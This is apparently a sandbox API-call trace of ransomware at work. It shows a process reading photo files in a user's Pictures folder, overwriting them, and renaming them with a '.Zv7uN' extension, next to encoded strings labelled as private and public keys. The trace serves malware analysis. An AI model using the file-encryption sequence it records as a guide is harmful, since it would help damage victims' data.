(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg", dwFileAttributes=0x80) returned 1 [0085.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.201] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f3e8dc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.202] GetCurrentThreadId () returned 0xa30 [0085.202] GetCurrentThreadId () returned 0xa30 [0085.202] GetCurrentThreadId () returned 0xa30 [0085.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3320c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.203] GetCurrentThreadId () returned 0xa30 [0085.203] GetCurrentThreadId () returned 0xa30 [0085.203] GetCurrentThreadId () returned 0xa30 [0085.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.203] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0085.203] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.204] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x7064 [0085.204] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0085.204] ReadFile (in: hFile=0x12c, lpBuffer=0x1f4e7e0, nNumberOfBytesToRead=0x7064, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f4e7e0*, lpNumberOfBytesRead=0x18f3d4*=0x7064, lpOverlapped=0x0) returned 1 [0085.206] CloseHandle (hObject=0x12c) returned 1 [0085.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0085.209] WriteFile (in: hFile=0x12c, lpBuffer=0x1f56810*, nNumberOfBytesToWrite=0x7064, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f56810*, lpNumberOfBytesWritten=0x18f3e0*=0x7064, lpOverlapped=0x0) returned 1 [0085.211] CloseHandle (hObject=0x12c) returned 1 [0085.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\n8TSq6Rxej90Ypz.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\n8tsq6rxej90ypz.jpg.zv7un")) returned 1 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] GetCurrentThreadId () returned 0xa30 [0085.215] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="POBCiS", cAlternateFileName="")) returned 1 [0085.215] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="POBCiS", cAlternateFileName="")) returned 0 [0085.215] GetLastError () returned 0x12 [0085.215] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0085.215] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0x50b5fbe0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50b5fbe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0085.215] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0085.215] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.216] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21e54a80, ftCreationTime.dwHighDateTime=0x1d5e2c4, ftLastAccessTime.dwLowDateTime=0x50b5fbe0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50b5fbe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.216] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.216] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab10570, ftCreationTime.dwHighDateTime=0x1d5d9b6, ftLastAccessTime.dwLowDateTime=0x99fc4b00, ftLastAccessTime.dwHighDateTime=0x1d5dd78, ftLastWriteTime.dwLowDateTime=0x50aed7c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x6e97, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="3a_Ktn--Hmt.jpg.Zv7uN", cAlternateFileName="3A_KTN~1.ZV7")) returned 1 [0085.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.216] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.216] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19285100, ftCreationTime.dwHighDateTime=0x1d5e3c6, ftLastAccessTime.dwLowDateTime=0xd5d43d90, ftLastAccessTime.dwHighDateTime=0x1d5e3e5, ftLastWriteTime.dwLowDateTime=0x50b13920, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xec71, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cr lAb2zi.jpg.Zv7uN", cAlternateFileName="CRLAB2~1.ZV7")) returned 1 [0085.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.216] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.216] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x3698dd0, ftLastAccessTime.dwHighDateTime=0x1d5e78a, ftLastWriteTime.dwLowDateTime=0x3698dd0, ftLastWriteTime.dwHighDateTime=0x1d5e78a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="J1gACW", cAlternateFileName="")) returned 1 [0085.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.216] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 